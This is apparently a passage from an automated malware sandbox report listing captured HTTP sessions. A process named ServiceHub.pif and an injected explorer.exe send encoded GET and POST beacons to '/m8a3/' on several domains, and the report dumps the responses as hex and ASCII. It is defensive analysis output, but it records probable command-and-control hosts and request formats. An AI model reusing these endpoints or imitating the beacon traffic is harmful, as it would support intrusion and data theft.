                                        Data Ascii: d404 Not Found0


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        18192.168.2.549736134.73.114.3980C:\Windows\explorer.exe
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:32:46.199619055 CEST964OUTGET /m8a3/?yy9Uwvr=KfxyrYt0+dAkLzUy5gsnp3p0oX3LOs89DNVvjaW49ahTyKh9A9lK4bm4YgfqVz2zqy/14k6j7o+Vy48O68UKvRL9g4d35+1BPg==&wllV=ZE0BJ HTTP/1.1
                                        Host: www.eunicebarber.com
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Language: en-US
                                        Connection: close
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Jul 24, 2023 10:32:46.467856884 CEST965INHTTP/1.1 200 OK
                                        Server: nginx
                                        Date: Mon, 24 Jul 2023 08:32:46 GMT
                                        Content-Type: text/html; charset=utf-8
                                        Transfer-Encoding: chunked
                                        Connection: close
                                        Vary: Accept-Encoding
                                        X-Powered-By: Server
                                        Data Raw: 32 61 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e e6 97 b6 e6 97 b6 e5 bd a9 e5 b9 b3 e5 8f b0 61 70 70 e6 89 8b e6 9c ba e7 89 88 2d e6 97 b6 e6 97 b6 e5 bd a9 e5 b9 b3 e5 8f b0 e5 85 8d e8 b4 b9 e7 89 88 e4 b8 8b e8 bd bd 2e 30 2d e8 b4 ad e5 bd a9 e4 b8 ad e5 bf 83 61 70 70 e5 ae 89 e5 8d 93 e7 89 88 e4 b8 8b e8 bd bd 2d e8 b4 ad e5 bd a9 e4 b8 ad e5 bf 83 61 70 70 e4 b8 8b e8 bd bd 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 e3 80 80 e3 80 80 e5 ad 94 e5 be b7 e8 8f 81 e8 af b4 ef bc 8c e5 a4 a7 e5 ae b6 e5 b0 b1 e6 9c 89 e4 ba 8b e6 b2 a1 e4 ba 8b e8 81 9a e5 9c a8 e4 b8 80 e8 b5 b7 ef bc 8c e5 8a a0 e4 b8 8a e5 a4 a7 e5 ae b6 e9 83 bd e8 bf 99 e4 b9 88 e7 86 9f e6 82 89 ef bc 8c e5 af b9 e5 90 84 e8 87 aa e4 ba ba e5 93 81 e9 83 bd e6 b8 85 e6 a5 9a e3 80 81 e6 94 be e5 bf 83 ef bc 8c e4 b8 8d e6 80 95 e4 bd a0 e8 b7 9f e6 88 91 e7 ab 9e e4 ba 89 ef bc 8c e6 85 a2 e6 85 a2 e5 bd a2 e6 88 90 e4 ba 86 e8 bf 99 e6 a0 b7 e7 9a 84 e4 ba 92 e8 81 94 e7 bd 91 e4 ba a4 e6 b5 81 e6 b0 9b e5 9b b4 e3 80 82 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 e6 97 b6 e6 97 b6 e5 bd a9 e5 b9 b3 e5 8f b0 61 70 70 e6 89 8b e6 9c ba e7 89 88 2d e6 97 b6 e6 97 b6 e5 bd a9 e5 b9 b3 e5 8f b0 e5 85 8d e8 b4 b9 e7 89 88 e4 b8 8b e8 bd bd 2e 30 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 38 33 34 38 30 33 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 22 3e 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 3e 0d 0a 3c 68 31 3e 3c 61 20 68 72 65 66 3d 22 2f 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 35 63 32 6b 33 7a 6e 35 76 68 73 6c 72 6c 70 66 78 36 62 77 63 34 64 71 34 77 78 69 74 7a 6d 6e 73 70 74 79 74 63 68 65 78 63 66 36 72 70 6e 35 66 78 75 6c 6a 6c 70 66 78 77 75 36 6a 6f 66 6e 34 77 37 79 67 79 6c 71 6f 64 73 6c 72 63 37 69 78 77 36 73 67 6d 7a 75 67 61 72 74 73 6d 61 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 20 61 6c 74 3d 22 22 3e 3c 2f 61 3e 3c 2f 68 31 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 5f 72 69 67 68 74 22 3e 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 72 70 2d 64 77 6e 22 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 3c 68 33 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 65 75 6e 69 63 65 62 61 72 62 65 72 2e 63 6f
                                        Data Ascii: 2a13<!DOCTYPE HTML><html><head><title>app-.0-app-app</title><meta name="description" content="" /><meta name="keywords" content="app-.0" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link href="/css/style.css?834803" rel="stylesheet" type="text/css" media="all" /></head><body><div class="wrap"><div class="header"><div class="logo"><h1><a href="/"><img src="/5c2k3zn5vhslrlpfx6bwc4dq4wxitzmnsptytchexcf6rpn5fxuljlpfxwu6jofn4w7ygylqodslrc7ixw6sgmzugartsma/images/logo.png" alt=""></a></h1></div><div class="h_right"><div class="drp-dwn"><ul><li><h3><a href="http://www.eunicebarber.co
                                        Jul 24, 2023 10:32:46.467900991 CEST967INData Raw: 6d 2f 2f 33 2e 68 74 6d 6c 22 3e 3c 2f 61 3e 3c 2f 68 33 3e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 0d 0a 3c 73 65 6c 65 63 74 20 6f 6e 63 68 61 6e 67 65 3d 22 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 5b 74 68
                                        Data Ascii: m//3.html"></a></h3></li><li><select onchange="window.location=this.options[this.selectedIndex].value"><option value="">English</option><option value="">German</option><option value="">French</option></select></li><li><h3 style="
                                        Jul 24, 2023 10:32:46.467945099 CEST968INData Raw: 3e e5 ae bf e5 b7 9e e5 b8 82 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 65 75 6e 69 63 65 62 61 72 62 65 72 2e 63 6f 6d 2f 6c 69 73 74 2d 32 2f 32 33 38 30 2e 68 74 6d 6c 22 3e e4 b8
                                        Data Ascii: ></a></li><li><a href="http://www.eunicebarber.com/list-2/2380.html"></a></li><li><a href="http://www.eunicebarber.com/list-2/18.html"></a></li></ul><div class="search"><form><input type="text" value=""><i
                                        Jul 24, 2023 10:32:46.467974901 CEST969INData Raw: bb 96 e4 bb ac e7 9a 84 e5 b0 bd e8 81 8c e8 b0 83 e6 9f a5 e5 b0 b1 e8 83 bd e5 bc 80 e5 b1 95 e5 be 97 e6 9b b4 e5 8a a0 e9 a1 ba e5 88 a9 e3 80 81 e9 ab 98 e6 95 88 e3 80 82 3c 2f 70 3e 0d 0a 3c 70 3e e4 b8 80 e4 b8 aa e6 9c 89 e7 9d 80 e8 85
                                        Data Ascii: </p><p>CEO
                                        Jul 24, 2023 10:32:46.468007088 CEST971INData Raw: ba 90 e3 80 81 e6 97 b6 e6 9c ba e5 92 8c e8 83 bd e5 8a 9b e6 88 90 e7 86 9f ef bc 8c e5 86 8d e5 87 ba e6 9d a5 e5 88 9b e4 b8 9a e4 b8 8d e8 bf 9f e3 80 82 e5 9b a0 e4 b8 ba e5 9c a8 e9 87 87 e5 8f 96 e9 a5 a5 e9 a5 bf e8 90 a5 e9 94 80 e6 97
                                        Data Ascii:
                                        Jul 24, 2023 10:32:46.468039036 CEST972INData Raw: 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 20 67 72 6f 75 70 31 22 3e 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 73 5f 32 5f 6f 66 5f 32 22 3e 0d 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e
                                        Data Ascii: <div class="image group1"><div class="images_2_of_2"><a href="http://www.eunicebarber.com//4.html"><img src="http://n.sinaimg.cn/translate/250/w600h450/20181015/9_cW-hmhafir7416453.jpg" width="480" height="360" alt=""></a></div>
                                        Jul 24, 2023 10:32:46.468071938 CEST973INData Raw: bb b7 e3 80 82 3c 2f 70 3e 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 64 5f 6d 6f 72 65 22 3e 0d 0a 09 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 65 75 6e 69 63 65 62 61 72 62 65 72 2e 63 6f 6d 2f 6c 69 73 74 2d 33 2f
                                        Data Ascii: </p><div class="rd_more"><a href="http://www.eunicebarber.com/list-3/947.html" class="button button-rounded"></a></div></div><div class="clear"></div></div></div></div><div class="footer"><div class="f_le
                                        Jul 24, 2023 10:32:46.468111992 CEST975INData Raw: 0a 76 61 72 20 5f 68 6d 74 20 3d 20 5f 68 6d 74 20 7c 7c 20 5b 5d 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 76 61 72 20 68 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22
                                        Data Ascii: var _hmt = _hmt || [];(function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?fe6a346f32de57f467ca0b7cfd87bfa1"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefor
                                        Jul 24, 2023 10:32:46.468154907 CEST976INData Raw: 2e 62 73 6d 31 39 39 35 2e 63 6f 6d 2f 22 3e 37 37 37 e5 bd a9 e7 a5 a8 e6 9c 80 e6 96 b0 e5 ae 98 e6 96 b9 e7 89 88 2d 37 37 37 e5 bd a9 e7 a5 a8 e8 bd af e4 bb b6 e4 b8 8b e8 bd bd 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 74 61 72 67 65
                                        Data Ascii: .bsm1995.com/">777-777</a></li><li><a target="_blank" href="http://www.gay-utopia.com/">-0.5</a></li><li><a target="_blank" href="http://www.ablawa.com/"


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        19192.168.2.54973745.221.114.4280C:\Windows\explorer.exe
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:32:52.083995104 CEST978OUTPOST /m8a3/ HTTP/1.1
                                        Host: www.jshjyz.com
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Encoding: gzip, deflate
                                        Accept-Language: en-US
                                        Content-Type: application/x-www-form-urlencoded
                                        Content-Length: 1484
                                        Cache-Control: no-cache
                                        Connection: close
                                        Origin: http://www.jshjyz.com
                                        Referer: http://www.jshjyz.com/m8a3/
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Data Raw: 79 79 39 55 77 76 72 3d 4b 66 6f 67 6f 31 47 56 5a 57 44 63 64 6c 59 6b 48 65 76 6e 77 59 6f 66 63 75 39 74 38 62 58 30 6b 37 74 5a 62 50 44 4d 42 2b 70 68 4e 44 35 61 7a 39 39 41 32 4a 78 46 32 45 31 37 52 6b 4a 6b 6c 56 79 4d 4b 48 67 69 4e 7a 4a 77 2b 31 38 42 47 43 48 34 70 49 44 55 32 38 69 75 36 31 6c 39 42 68 45 79 69 35 78 78 43 76 63 50 6d 74 4d 67 61 6e 64 79 4e 37 70 61 6c 4d 50 6a 75 31 37 4c 67 32 2f 58 6c 66 66 7a 6e 55 31 4e 4e 75 70 47 58 4b 72 51 67 47 46 43 68 6b 74 6a 6f 6b 7a 39 55 32 79 62 74 69 42 4d 6a 37 6e 59 79 44 54 6e 6e 65 6e 6a 52 35 64 46 31 65 61 56 45 4f 59 38 63 30 6b 69 74 78 55 59 38 77 43 39 68 38 63 4e 41 68 50 66 61 79 4f 6c 6b 36 38 63 6f 51 65 34 5a 45 34 51 59 41 43 69 32 53 59 42 46 36 45 69 4c 77 79 7a 78 4d 79 4d 5a 75 61 74 62 34 52 6b 74 72 67 30 79 49 58 45 30 2b 30 4c 6f 64 42 4b 32 35 5a 6e 63 36 66 65 35 61 72 34 34 70 30 6d 36 43 50 49 68 34 51 64 4f 5a 51 79 6c 6a 4b 66 66 47 73 37 4e 48 78 4c 39 2f 59 59 62 58 31 65 57 53 31 31 75 6a 7a 34 4d 4b 4f 66 4d 63 62 6c 56 7a 7a 75 4b 64 6d 31 41 6d 53 56 46 53 43 44 6c 41 6b 31 45 71 45 73 30 38 59 46 79 56 6a 43 50 53 63 4e 65 58 30 58 41 31 77 71 4f 38 45 76 44 58 50 39 4b 37 5a 55 59 79 35 4c 63 6c 59 75 48 58 78 55 4e 47 67 46 54 63 58 35 53 63 30 4f 5a 32 73 50 6d 51 46 64 74 2b 4b 75 34 4e 2b 6e 73 46 58 39 45 36 49 67 62 73 79 43 69 70 4b 53 64 57 53 62 6f 7a 58 6a 67 79 6b 52 7a 49 37 31 73 75 38 6b 4f 67 6d 4d 6d 7a 54 32 55 6d 47 77 50 52 41 6b 31 6d 35 73 38 6b 6b 2b 4f 75 73 63 31 48 2b 4b 46 79 50 75 4d 46 65 39 67 62 55 43 68 32 46 34 64 57 41 42 34 4d 51 49 30 75 48 34 73 6c 65 76 72 77 51 31 36 76 75 57 63 39 52 72 38 64 73 76 79 48 50 30 35 32 41 77 2b 57 51 2b 4f 4a 63 46 42 46 79 67 41 76 53 50 70 75 6c 67 72 77 48 47 41 51 6e 78 6c 33 44 4b 4b 4f 57 4f 77 2b 54 4f 76 58 6e 5a 4e 4d 64 72 48 75 44 4d 53 34 6c 30 72 4b 6d 38 75 69 73 73 6c 7a 54 68 34 51 77 78 33 48 5a 62 51 4a 53 35 2b 51 62 67 6e 2f 77 52 41 68 54 37 32 61 62 2f 42 2f 54 79 46 6f 32 66 7a 4d 57 78 58 45 70 42 35 67 31 6a 73 51 37 49 59 66 38 65 57 39 65 6d 57 75 62 33 39 49 44 74 79 71 52 75 7a 2b 73 37 5a 75 39 52 72 51 43 30 45 44 55 58 5a 67 41 57 4d 56 74 71 54 6d 36 54 49 43 36 6d 65 52 39 4b 70 48 6f 78 31 4e 43 75 6e 34 31 32 42 71 6e 4c 42 6c 4e 54 6e 66 30 36 72 33 61 6d 43 65 47 75 46 76 48 4b 67 79 79 48 45 79 2b 42 59 71 4d 6a 71 33 77 62 4d 2b 30 38 4b 58 74 74 39 45 64 4f 7a 6c 5a 2b 70 65 45 6c 68 62 48 46 55 6d 52 6d 4c 53 6f 6d 41 51 6d 6a 6b 51 67 33 39 73 42 66 6e 62 36 30 63 68 5a 32 2f 44 69 2f 77 45 31 5a 58 67 4d 42 54 61 77 46 64 70 43 6a 79 4e 6e 52 45 48 44 4a 43 4a 43 78 2f 33 6f 78 52 44 43 2f 61 6d 42 66 48 5a 6b 49 44 6e 33 6c 30 77 59 34 52 6b 32 4d 49 33 6d 75 5a 6b 4a 53 31 46 33 57 56 56 44 78 6b 72 50 33 57 33 30 69 75 54 59 4f 6b 64 36 57 47 2b 67 75 39 54 45 4b 32 6c 39 54 41 43 39 76 5a 4b 74 6f 6d 65 4b 55 31 2f 56 79 61 4a 4d 56 55 4d 4d 69 46 4c 37 51 4f 55 35 44 55 74 67 55 69 50 6a 50 74 73 5a 70 4b 71 4d 72 33 44 51 59 63 6d 61 59 4e 78 62 4a 73 70 34 44 50 57 77 55 59 4c 4f 31 70 71 6e 30 4e 32 32 45 37 6c 52 71 6e 41 50 2b 70 59 62 72 59 4a 6d 6b 76 67 6b 45 72 35 4c 38 36 63 4f 6c 31 44 75 68 33 31 4c 56 6d 39 71 44 61 66 46 55 4b 33 34 35 71 65 57 66 56 62 63 30 57 6a 4a 69 65 5a 78 4d 73 4a 63 32 38 65 35 39 55 31 34 79 6d 42 58 38 33 2f 76 62 50 36 69 36 57 63 77 6a 2b 6e 63 50 51 79 35 49 74 63 72 77 7a 39 6c 69 39 32 4d 69 67 2f 73 43 52 6e 4d 39 66 6f 2f 54 73 38 7a 66 59 33 74 2f 34 48 4f 72 79 52 55 59 2f 71 62 6d 7a 47 4c 35 61 59 76 5a 48 71 33 77 4b 56 37 61 45 66 2f 30 70 30 54 61 62 7a 37 4f 77 6d 77 7a 78 79 55 46 47 72 2f 7a 59 33 64 36 34 4a 55 53 63 37 78 6f 78 33 32 50 44 54 45 78 39 4e 31 33 36 41 2b 74 6b 66 64 69 59 70 32 67 54 65 64 58 6d 4b 6b 61 51 2f 33 2b 62 38 58 4d 47 64 33 61 79 7a 6e 44 33 61 43 58 76 68 58 2b 5a 31 47 74 34 50 5a 39 53 74 5a 67 74 4d 65 6c 49 56 72 75 6a 50 76 46 65 4c 50 37 77 69 4e 6b 6e 63 41 6e 4f 57 6d 75 68 49 78 73 70 34 6c 5a 55 6f 55 69 76 6e 66 56 4d 73 79 52 6c 30 7a 69 6a 77 56 51 6c 43 6b 6e 79 74 2f 52 44 75 50 6b 47 77 46
                                        Data Ascii: yy9Uwvr=Kfogo1GVZWDcdlYkHevnwYofcu9t8bX0k7tZbPDMB+phND5az99A2JxF2E17RkJklVyMKHgiNzJw+18BGCH4pIDU28iu61l9BhEyi5xxCvcPmtMgandyN7palMPju17Lg2/XlffznU1NNupGXKrQgGFChktjokz9U2ybtiBMj7nYyDTnnenjR5dF1eaVEOY8c0kitxUY8wC9h8cNAhPfayOlk68coQe4ZE4QYACi2SYBF6EiLwyzxMyMZuatb4Rktrg0yIXE0+0LodBK25Znc6fe5ar44p0m6CPIh4QdOZQyljKffGs7NHxL9/YYbX1eWS11ujz4MKOfMcblVzzuKdm1AmSVFSCDlAk1EqEs08YFyVjCPScNeX0XA1wqO8EvDXP9K7ZUYy5LclYuHXxUNGgFTcX5Sc0OZ2sPmQFdt+Ku4N+nsFX9E6IgbsyCipKSdWSbozXjgykRzI71su8kOgmMmzT2UmGwPRAk1m5s8kk+Ousc1H+KFyPuMFe9gbUCh2F4dWAB4MQI0uH4slevrwQ16vuWc9Rr8dsvyHP052Aw+WQ+OJcFBFygAvSPpulgrwHGAQnxl3DKKOWOw+TOvXnZNMdrHuDMS4l0rKm8uisslzTh4Qwx3HZbQJS5+Qbgn/wRAhT72ab/B/TyFo2fzMWxXEpB5g1jsQ7IYf8eW9emWub39IDtyqRuz+s7Zu9RrQC0EDUXZgAWMVtqTm6TIC6meR9KpHox1NCun412BqnLBlNTnf06r3amCeGuFvHKgyyHEy+BYqMjq3wbM+08KXtt9EdOzlZ+peElhbHFUmRmLSomAQmjkQg39sBfnb60chZ2/Di/wE1ZXgMBTawFdpCjyNnREHDJCJCx/3oxRDC/amBfHZkIDn3l0wY4Rk2MI3muZkJS1F3WVVDxkrP3W30iuTYOkd6WG+gu9TEK2l9TAC9vZKtomeKU1/VyaJMVUMMiFL7QOU5DUtgUiPjPtsZpKqMr3DQYcmaYNxbJsp4DPWwUYLO1pqn0N22E7lRqnAP+pYbrYJmkvgkEr5L86cOl1Duh31LVm9qDafFUK345qeWfVbc0WjJieZxMsJc28e59U14ymBX83/vbP6i6Wcwj+ncPQy5Itcrwz9li92Mig/sCRnM9fo/Ts8zfY3t/4HOryRUY/qbmzGL5aYvZHq3wKV7aEf/0p0Tabz7OwmwzxyUFGr/zY3d64JUSc7xox32PDTEx9N136A+tkfdiYp2gTedXmKkaQ/3+b8XMGd3ayznD3aCXvhX+Z1Gt4PZ9StZgtMelIVrujPvFeLP7wiNkncAnOWmuhIxsp4lZUoUivnfVMsyRl0zijwVQlCknyt/RDuPkGwFQqpy+7tNMIZGOsoSTtrBi5qfPNXcU0XXTTMqZ+meiF+sKFPkjxLnz0RD3h0D4EmadriGidGehxm1EoRev7Yu3Z2kvFsyHcHjpItiPFV/BfVcYG813AQ724A==
                                        Jul 24, 2023 10:32:52.520426035 CEST979INHTTP/1.1 404 Not Found
                                        Content-Type: text/html
                                        Server: Microsoft-IIS/7.5
                                        X-Powered-By: ASP.NET
                                        Date: Mon, 24 Jul 2023 08:32:52 GMT
                                        Connection: close
                                        Content-Length: 1163
                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3
                                        Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3>
                                        Jul 24, 2023 10:32:52.520498991 CEST980INData Raw: c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                        Data Ascii: </h3> </fieldset></div></div></body></html>


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        2192.168.2.549720156.237.252.5080C:\Users\user\Documents\ServiceHub.pif
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:30:53.875840902 CEST885OUTPOST /m8a3/ HTTP/1.1
                                        Host: www.moqainc.com
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Encoding: gzip, deflate
                                        Accept-Language: en-US
                                        Content-Type: application/x-www-form-urlencoded
                                        Content-Length: 1479
                                        Cache-Control: no-cache
                                        Connection: close
                                        Origin: http://www.moqainc.com
                                        Referer: http://www.moqainc.com/m8a3/
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
